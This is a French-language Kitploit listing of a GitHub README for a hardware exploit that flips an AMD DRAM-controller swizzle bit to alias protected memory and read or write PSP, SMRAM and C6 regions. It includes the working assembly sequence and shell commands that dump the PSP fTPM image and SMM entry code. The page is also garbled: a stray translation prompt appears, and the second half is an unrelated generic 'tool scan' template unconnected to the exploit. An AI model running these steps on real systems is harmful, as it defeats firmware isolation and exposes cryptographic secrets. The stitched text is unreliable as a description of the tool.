Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/xoreaxeaxeax/skitter-creek-bath-salts
Analyse des VulnérabilitésExploitationRétro-ingénierieHacking MatérielSécurité MatérielleAnalyse de Micrologiciel
GitHubxoreaxeaxeax/skitter-creek-bath-salts

skitter-creek-bath-salts

Débloquer _tout_ sur le CPU avec le brouillage DRAM

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
2.1k16222il y a 1 moisVérifié par Kitploit

skitter-creek-bath-salts

Débloquer tout sur le CPU avec le brouillage DRAM — PSP, C6, microcode, SMM, et tout ce que les spécifications ont omis.

&x == &x.

Habituellement.

Déspaghettiification de la DRAM

Manipulez le contrôleur DRAM et une adresse peut être amenée à atterrir où vous voulez en mémoire. skitter-creek-bath-salts modifie les couches inférieures de la hiérarchie mémoire pour recâbler les traductions d'adresses DRAM physiques. Cela brouille la mémoire de la plateforme, exposant des régions protégées de la DRAM — des carveouts invisibles même au noyau. Quand les traductions d'adresses se cassent, les primitives de sécurité construites sur elles se cassent aussi, et nous débloquons tout.


TL;DR

  • Débloquer votre Platform Security Processor
  • Débloquer le System Management Mode
  • Débloquer la DRAM C6
  • Débloquer votre microcode CPU

Cible

Développé et testé sur les CPU AMD Family 16h, la dernière génération dont les fiches techniques documentent les registres de traduction du contrôleur DRAM — et montrent qu'ils ne peuvent pas être verrouillés. 17h et au-delà omettent simplement cette information. L' odyssée de *p est similaire à travers les générations et architectures, et les transformations sous-jacentes s'étendent même à ARM, RISC-V, et au-delà ; skitter-creek-bath-salts nous montre seulement comment commencer.


L'odyssée de *p

C'est un long chemin vers le bas.

La mémoire est construite sur des couches d'abstraction si profondes qu'elles deviennent presque absurdes. Quand votre code déréférence *p, il semble accéder à la DRAM à p. Ce n'est pas le cas — p est une adresse virtuelle, et avant qu'un seul bit de DRAM ne soit touché, elle doit survivre au parcours du combattant ci-dessous :``` ── CPU core / MMU ───────────────────────────────────────────────── ┌─ VA ← 64-bit virtual address from load/store │ └> canonical-form check ──────────────────────┐ ← bits [63:48] sign-extend from bit 47 ┌─ segment base add <─────────────────────────┘ ← FS.base / GS.base (MSR_FS_BASE, MSR_GS_BASE) │ └> TLB probe ─────────────────────────────────┐ ← tagged by PCID (host) / VPID (guest) hit → physical address k │ miss → engage hardware page walker │ ┌─ page walk (from CR3) <─────────────────────┘ ← walked only on TLB miss │ PML5[VA 56:48] ← only if CR4.LA57 │ PML4[VA 47:39] │ PDPT[VA 38:30] ← 1 GiB leaf possible │ PD [VA 29:21] ← 2 MiB leaf possible │ PT [VA 20:12] │ PTE ← R/W · U/S · NX · A/D · PAT · PCD · PWT · G │ └> per-level checks ──────────────────────────┐ ← evaluated at every level of the walk privilege (U/S) │ ← CPL vs PTE.U/S write (R/W) │ ← + CR0.WP execute (NX) │ ← EFER.NXE SMEP / SMAP │ ← CR4.SMEP · CR4.SMAP · EFLAGS.AC protection keys │ ← PKRU (user) · IA32_PKRS (supervisor) ┌─ A/D bit update <───────────────────────────┘ ← locked RMW on PTE │ └> if guest: EPT / NPT re-walk ───────────────┐ ← each guest-PA above re-walked EPT-PML4 → EPT-PDPT → EPT-PD → EPT-PT │ ← + EPT memory-type override ⇒ ~5× walks per single guest walk │ ┌─ TLB shootdown IPIs <───────────────────────┘ ← invlpg broadcast to peer vCPUs │ │ ── IOMMU (chipset / I/O fabric) ────────────────────────────────── │ └> if device-initiated, IOMMU page walk ──────┐ ← VT-d / AMD-Vi: device-ID → domain → tables │ ┌── physical address k <─────────────────┘ │ │ ── CPU core / MMU — memory-type resolution ──────────────────────── │ └> MTRR range match ──────────────────────────┐ ← IA32_MTRR_DEF_TYPE + fixed/variable MTRRs ┌─ PAT entry select <─────────────────────────┘ ← IA32_PAT[ PTE.PAT:PCD:PWT ] │ └> effective memory type ─────────────────────┐ ← { WB, WT, WC, WP, UC-, UC } │ ── CPU uncore — caches & coherence ──────────────────────────────── │ ┌─ L1-D probe <───────────────────────────────┘ ← VIPT, per-core │ └> L2 probe ──────────────────────────────────┐ ← per-core / per-CCX ┌─ LLC probe + directory consult <────────────┘ ← shared, sliced │ └> snoop / coherence ─────────────────────────┐ ← MESI / MOESI broadcast intra-socket │ ← broadcast to peer cores inter-socket │ ← QPI · UPI · Infinity Fabric · CXL.cache home-node directory response │ ← data | intervention | abort │ ── system data fabric / interconnect ────────────────────────────── │ ┌─ if MMIO range or sub-4 GiB MMIO hole <─────┘ ← uncore/data fabric posted/non-posted txn │ → device BAR; done │ └> else DRAM-bound: data fabric / mesh ───────┐ ← AMD DF · Intel mesh-or-ring uncore │ ┏━━ ── MCT / IMC (memory controller) ──────────────────────────────── W ┃ ┌─ DRAM hole remap <──────────────────────────┘ ← high-memory remap above TOM E ┃ │ ┃ └> memory-region exclusion remap ─────────────┐ ← reserved / protected ranges ┃ ┌─ channel interleave hash <──────────────────┘ ← XOR of selected PA bits → channel A ┃ │ R ┃ └> rank interleave hash ──────────────────────┐ ← XOR of selected PA bits → rank E ┃ ┌─ bank interleave hash <─────────────────────┘ ← XOR of selected PA bits → bank ┃ │ ┃ └> bank swizzle / XOR scramble ───────────────┐ ← vendor- and BIOS-configurable H ┃ ┌─ chip-select normalize (DCT) <──────────────┘ ← per-rank CS line E ┃ │ rank → CS map R ┃ │ E ┃ └> sub-channel select ────────────────────────┐ ← DDR5 / LPDDR5 only ┗━━ │ │ DRAM coordinates <─────────────────────────┘ ← bank group · bank · row (RAS) · column (CAS)

root@kitploit:~
Ce projet opère aux niveaux les plus profonds du pipeline `*p`, la couche MCT/DCT
— où une adresse physique issue du data fabric/interconnect entre dans le contrôleur
mémoire et est réécrite une dernière fois en coordonnées DRAM brutes qui sont
émises vers le DIMM.

---

## Spaghettifier la DRAM

> Les adresses physiques sont vraiment plus une suggestion qu'autre chose.```nasm
xor dword [0xf80c2094], 0x00400000

Voilà l’exploit. Tout entier.

Un seul bit-flip dans le contrôleur DRAM reconfigure le bas du pipeline *p, et la donnée qui se trouvait à &x se retrouve ailleurs en cours de route. Soudain, &x != &x. Tous les mécanismes que le CPU, le firmware, l’uncore et le chipset utilisent pour isoler la mémoire protégée se situent au-dessus du contrôleur mémoire, et aucun d’eux ne voit ce qui se passe en dessous. Les barrières protègent les adresses physiques, pas les coordonnées DRAM ; réorganisez les coordonnées et les barrières au-dessus ne s’en aperçoivent jamais.

Mais recâbler la DRAM est facile. Le bit ci-dessus est le bank-swizzle-mode dans le DCT, et ce n’est qu’un parmi des dizaines qui contrôlent les remappages d’adresses à la couche finale — il suffit de les manipuler pour faire s’effondrer tout ce qui est construit au-dessus. La partie la plus difficile est ensuite de maintenir la plateforme en fonctionnement alors que l’intégralité de la mémoire système est brouillée en dessous.

L’astuce : être rapide, et ne pas toucher à la DRAM. Désactiver les APs, amorcer les TLBs, préchauffer le cache, désactiver les interruptions, vider la cible, sérialiser les accès mémoire, et espérer que le CPU a préchargé les instructions à venir. Ensuite, recâbler le MCT/DCT pour transformer la DRAM en spaghettis, récupérer des données depuis la région protégée, rétablir les mappings, sérialiser à nouveau, activer les interruptions, reprendre les APs, et la plateforme revient à la normale.```nasm mov eax, [0xf80c2094] ; prime mmio TLB mov eax, [0x6f800000] ; prime target TLB pushf ; preserve flags cli ; interrupts off clflush [0x6f800000] ; evict the target, force the dram read mfence ; barrier - no coherent world dram access lfence ; reordered into spaghettified view xor dword [0xf80c2094], 1<<22 ; flip dct swizzle → spaghettify dram mov ebx, [0x6f800000] ; fetch target in spaghettified view xor dword [0xf80c2094], 1<<22 ; restore dct swizzle → unscramble mfence ; barrier - no spaghettified dram access lfence ; reordered into coherent world view popf ; interrupts back on

root@kitploit:~
Avec une configuration soignée de la pagination, des états de cache, du threading et des TLB, le brouillage d'adresses peut être fait fonctionner depuis C, pour illustrer l'effondrement du pipeline `*p`, et la vue corrompue de la plateforme lorsque soudain `&x != &x` :

![&x manipulation](https://assets.kitploit.com/production/public/readmes/50084/22b2cf4272f032ae40edbca7d3b830af38cceea9d667e8f4ef39457354fce3b8.gif)

Nous pouvons donc recâbler la carte et la restaurer sans laisser de trace. Il ne reste plus qu'à savoir en quoi nous l'avons recâblée.

---

## Déverrouiller *tout*

> Chaque région mémoire protégée de la plateforme, accessible avec une calculatrice.

Avec l'approche ci-dessus, nous pouvons reprogrammer la transformation MCT/DCT sur un système en cours d'exécution — en réorganisant l'étage le plus bas du pipeline `*p` pour brouiller la mémoire sous chaque protection construite au-dessus.

Mais il y a un défi : bien que nous puissions reprogrammer la traduction avec un simple `xor dword [0xf80c2094], 0x00400000`, nous n'avons aucune idée des nouvelles transformations que le MCT/DCT utilisera (les fiches techniques sont sous-spécifiées ici — les cartes xor sont erronées, l'étage soustractif MMIO est non ordonné, et les détails varient selon les modèles). Sans cela, la mémoire est brouillée, mais nous n'avons aucun moyen de la reconstruire.

Heureusement, la transformation d'adresse du contrôleur DRAM est une application linéaire sur GF(2), ce qui signifie que nous pouvons reconstruire la mémoire brouillée avec de l'algèbre linéaire élémentaire.

Considérons d'abord le cas normal : la transformation directe de la configuration MCT/DCT par défaut est appliquée à une adresse physique, qui atterrit sur un secret en DRAM :```
    ┌                                 ┐   ┌   ┐     ┌   ┐
    │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │   │ 1 │     │ 1 │
    │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ · │ 1 │  =  │ 1 │
    │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │   │ 1 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │   │ 0 │     │ 0 │
    └                                 ┘   └   ┘     └   ┘
                M_firmware               target     secret

Voici la vue cohérente de la mémoire : l'étage le plus bas du pipeline *p fonctionne exactement comme il le devrait.

Maintenant, recâblez l'étage MCT/DCT de *p avec xor dword [0xf80c2094], 0x00400000, et la plateforme entre dans une vue brouillée/spaghettifiée de la mémoire où une transformation différente permet à un alias d'atteindre le même secret DRAM :``` ┌ ┐ ┌ ┐ ┌ ┐ │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │ │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 1 0 0 1 0 0 1 0 0 │ │ 1 │ │ 0 │ │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │ │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │ │ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │ · │ 0 │ = │ 1 │ │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 │ │ 0 │ └ ┘ └ ┘ └ ┘ M_attacker alias secret

root@kitploit:~
Cet alias nous permet d'atteindre le même secret sans heurter les verrous et défenses de plateforme existants conçus pour la vue cohérente. Pour trouver l'alias, composez l'inverse du hash attaquant/spaghettifié avec le forward du hash firmware/cohérent, afin d'obtenir la translation qui atteindra n'importe quel secret depuis la configuration malveillante MCT/DCT :```
    ┌                                 ┐   ┌                                 ┐   ┌   ┐     ┌   ┐
    │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │   │ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │   │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │   │ 1 │     │ 1 │
    │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │   │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 0 1 0 0 0 0 0 1 0 0 0 0 1 │ · │ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ · │ 1 │  =  │ 0 │
    │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │   │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │   │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │   │ 1 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │   │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │   │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │   │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │   │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │   │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │   │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │   │ 0 │     │ 0 │
    └                                 ┘   └                                 ┘   └   ┘     └   ┘
               M_attacker⁻¹                              M_firmware             target    alias

Le seul problème est que les matrices sont inconnues, ce qui signifie que nous n'avons aucune idée de la façon dont la mémoire est réellement brouillée, et aucune transformation à utiliser pour atteindre le secret en premier lieu :``` ┌ ┐ ┌ ┐ ┌ ┐ ┌ ┐ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 1 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ · │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ · │ 1 │ = │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 1 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ └ ┘ └ ┘ └ ┘ └ ┘ M_attacker⁻¹ M_firmware target alias

root@kitploit:~
Heureusement, à ce stade, ce n'est que de l'algèbre linéaire, et vous pourriez résoudre les transformations à la main si vous le souhaitez. Ou : une calculatrice.

Nous utilisons [z3](https://github.com/z3prover/z3). D'abord, le solveur SMT a besoin de contraintes avec lesquelles travailler.

Commencez dans la vue cohérente, modifiez le MCT/DCT pour basculer vers la vue spaghettifiée, déposez une valeur sentinelle comme `0xdeadc0de` dans une adresse aléatoire en mémoire, rebasculez vers la vue cohérente, et parcourez la mémoire pour trouver où la sentinelle réapparaît. Cela donne une paire (cible, alias) — un point de donnée concret montrant deux adresses physiques qui correspondent à la même cellule en DRAM. Répétez le processus, rassemblez une poignée de données, passez-les à z3, et il résout la matrice de transformation nécessaire pour convertir entre les deux vues — toute adresse physique de la vue cohérente d'un côté, son alias dans la vue spaghettifiée de l'autre :```
    ┌                                 ┐   ┌   ┐     ┌   ┐
    │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │   │ 1 │     │ 1 │
    │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 0 1 0 0 0 0 0 1 0 0 0 0 1 │ · │ 1 │  =  │ 0 │
    │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │   │ 1 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │   │ 0 │     │ 0 │
    └                                 ┘   └   ┘     └   ┘
         M_attacker⁻¹ ∘ M_firmware        target    alias

Alimenter z3 avec des paires d'alias une par une nous permet d'observer le solveur SMT déchiffrer le brouillage mémoire en temps réel, comme le montre l'image d'ouverture.

La transformation résolue est une pierre de Rosette : toute adresse cible dans la vue cohérente se mappe vers un alias qui atteint la même DRAM dans la vue spaghettifiée. Pour atteindre n'importe quelle mémoire protégée, prenez une adresse que nous ne pouvons normalement pas toucher — mémoire privée PSP, SMRAM, l'état d'inactivité C6 — et faites-la passer par la transformation pour obtenir son alias. Ensuite, reconfigurez le DCT avec xor dword [0xf80c2094], 0x00400000, lisez ou écrivez l'alias, et revenez en arrière avec un second xor. Le chemin de l'alias à travers le pipeline *p ne rencontre jamais de barrière que la plateforme a construite pour la vue cohérente — accès non restreint à tout ce qui se trouve dans la DRAM.

déverrouillage de la DRAM

Au final, tout ce qui a été si soigneusement cloisonné — mémoire privée PSP, SMRAM, l'état d'inactivité C6, inaccessible depuis l'OS, ring-0, parfois le CPU lui-même — repose toujours dans les mêmes condensateurs DRAM. Mais les verrous ont été construits autour de la vue cohérente de la mémoire, et ne font rien contre un alias spaghettifié atteignant la même cellule.

Basculez un seul bit dans le niveau final du pipeline *p, et nous avons tout déverrouillé.


Démarrage rapide : déverrouillez votre Platform Security Processor

Manipulez votre PSP, voyez ce qui se passe.

Le fTPM s'exécute sur le cœur ARM propre au PSP, dans un carveout DRAM juste après le sommet visible de la mémoire. Atteignez-le en aliasant une adresse physique visible par l'OS sur celui-ci, extrayez les octets, désassemblez.```sh

Bail out early on platforms this was never tested on.

./userspace/platform_check || exit 1

Resolve the PSP DRAM carveout — sets PSP_BASE / PSP_SIZE (0x7f800000 /

0x800000 on the test box). Swap 2x4gb for whichever data/maps/ prefix

matches your DIMMs; one --map per saved map.

eval "$(sudo ./userspace/dram_carveouts --region psp)" sudo ./userspace/dram_dump --protected-pa $PSP_BASE --length $PSP_SIZE
$(printf -- '--map %s ' data/maps/2x4gb_*.map) > psp.bin

The PSP is an ARM core, so disassemble as Thumb-2. Carve crAmd_ModExp

(0x64 bytes at PSP_BASE+0x19d4) straight out of the captured image.

objdump -b binary -m armv7 -M force-thumb --adjust-vma=$PSP_BASE
--start-address=$((PSP_BASE + 0x19d4))
--stop-address=$((PSP_BASE + 0x19d4 + 0x64))
-D psp.bin

root@kitploit:~
Veuillez fournir le contenu Markdown à traduire.```armasm
; crAmd_ModExp — the fTPM's RSA modular-exponentiation routine, recovered intact
; from the PSP's private DRAM.
7f8019d4:  b5f0       push  {r4, r5, r6, r7, lr}
7f8019d6:  b0e5       sub   sp, #404
7f8019de:  2280       movs  r2, #128                  ; 1024-bit operand
7f8019e4:  f7fe ffef  bl    0x7f8009c6                ; import base (aA)
7f8019ee:  a0eb       adr   r0, 0x7f801d9c            ; "crAmd_ModExp aA failed, status = 0x%x"
7f8019f8:  f7fe ffe5  bl    0x7f8009c6                ; import exponent (aB)
7f801a02:  a0f0       adr   r0, 0x7f801dc4            ; "crAmd_ModExp aB failed status = 0x%x"
7f801a18:  f000 fdd4  bl    0x7f8025c4                ; the modexp itself
7f801a20:  a0f2       adr   r0, 0x7f801dec            ; "crAmd_ModExp failed ret=0x%08x, exit"
7f801a22:  f000 fef5  bl    0x7f802810                ; log error
7f801a2e:  f001 e92a  blx   0x7f802c84                ; export result
7f801a36:  bdf0       pop   {r4, r5, r6, r7, pc}

C'est le moteur RSA du PSP — le modexp derrière chaque signature fTPM, et derrière les tests de Miller-Rabin qui génèrent ses clés — extrait de la mémoire que le PSP est censé posséder seul, isolé au niveau du contrôleur mémoire, opaque même pour le ring-0. Modifiez-le comme bon vous semble.


Démarrage rapide : déverrouiller le System Management Mode

Lisez ce que le SMM dissimule.

Le vecteur d'entrée du gestionnaire SMI se trouve à SMBASE + 0x8000. SMBASE est dans le MSR 0xc0010111. Lisez-le, récupérez les octets via la carte d'alias, et envoyez-les directement dans un désassembleur :```sh

Bail out early on platforms this was never tested on.

./userspace/platform_check || exit 1

sudo modprobe msr

SMBASE is per-core; core 0's lives in MSR 0xc0010111.

SMM_BASE=0x$(sudo rdmsr -p 0 0xc0010111) SMI_ENTRY=$(( SMM_BASE + 0x8000 ))

Dump the entry vector through the alias map and disassemble on the fly.

SMM starts in real mode, so ndisasm gets -b 16. One --map per saved map;

printf expands the glob into a --map for each (at_swizzle, at_bankswap) combo.

sudo ./userspace/dram_dump --protected-pa $SMI_ENTRY --length 0x40
$(printf -- '--map %s ' data/maps/2x4gb_*.map) | ndisasm -b 16 -

root@kitploit:~
| `-s` | `--server` | `SERVER` | `http://localhost:8080` | URL du serveur cible |
| `-t` | `--token` | `TOKEN` | | Jeton d'authentification |
| `-o` | `--output` | `FILE` | `stdout` | Fichier de sortie |
| `-v` | `--verbose` | | | Activer la sortie détaillée |
| `-q` | `--quiet` | | | Supprimer la sortie non essentielle |
| `-f` | `--format` | `FORMAT` | `json` | Format de sortie (json, yaml, csv) |
| `-c` | `--config` | `FILE` | `~/.config/tool/config.yaml` | Chemin du fichier de configuration |
| `-n` | `--dry-run` | | | Simuler sans exécuter |
| `-y` | `--yes` | | | Répondre automatiquement oui aux invites |
| `-d` | `--debug` | | | Activer la journalisation de débogage |
| `-h` | `--help` | | | Afficher le message d'aide |
| `-V` | `--version` | | | Afficher les informations de version |

### Exemples

```bash
# Exécution de base
tool scan --target example.com

# Avec jeton d'authentification
tool scan --target example.com --token "your-api-token"

# Sortie vers un fichier
tool scan --target example.com --output results.json

# Mode détaillé
tool scan --target example.com --verbose

# Format de sortie personnalisé
tool scan --target example.com --format yaml

# Utilisation d'un fichier de configuration
tool scan --config /path/to/config.yaml

# Exécution à blanc
tool scan --target example.com --dry-run

Fichier de configuration

L'outil prend en charge un fichier de configuration pour définir les options par défaut :

root@kitploit:~
# ~/.config/tool/config.yaml
server: http://localhost:8080
token: your-api-token
output: results.json
format: json
verbose: false
quiet: false
timeout: 30
retries: 3

Sortie

L'outil prend en charge plusieurs formats de sortie :

JSON

root@kitploit:~
{
  "target": "example.com",
  "status": "success",
  "findings": [
    {
      "id": "FINDING-001",
      "severity": "high",
      "title": "Exemple de vulnérabilité",
      "description": "Description détaillée de la vulnérabilité",
      "remediation": "Étapes pour corriger le problème"
    }
  ],
  "metadata": {
    "scan_time": "2024-01-01T00:00:00Z",
    "duration": "1.5s",
    "version": "1.0.0"
  }
}

YAML

root@kitploit:~
target: example.com
status: success
findings:
  - id: FINDING-001
    severity: high
    title: Exemple de vulnérabilité
    description: Description détaillée de la vulnérabilité
    remediation: Étapes pour corriger le problème
metadata:
  scan_time: "2024-01-01T00:00:00Z"
  duration: "1.5s"
  version: "1.0.0"

CSV

root@kitploit:~
id,severity,title,description,remediation
FINDING-001,high,Exemple de vulnérabilité,Description détaillée de la vulnérabilité,Étapes pour corriger le problème

Codes de sortie

Dépannage

Problèmes courants

Problème : Connexion refusée

Solution : Vérifiez que le serveur est en cours d'exécution et que l'URL est correcte.

root@kitploit:~
# Vérifier si le serveur est en cours d'exécution
curl -I http://localhost:8080/health

Problème : Échec de l'authentification

Solution : Vérifiez que votre jeton est valide et non expiré.

root@kitploit:~
# Tester le jeton
curl -H "Authorization: Bearer your-api-token" http://localhost:8080/api/verify

Problème : Délai d'attente dépassé

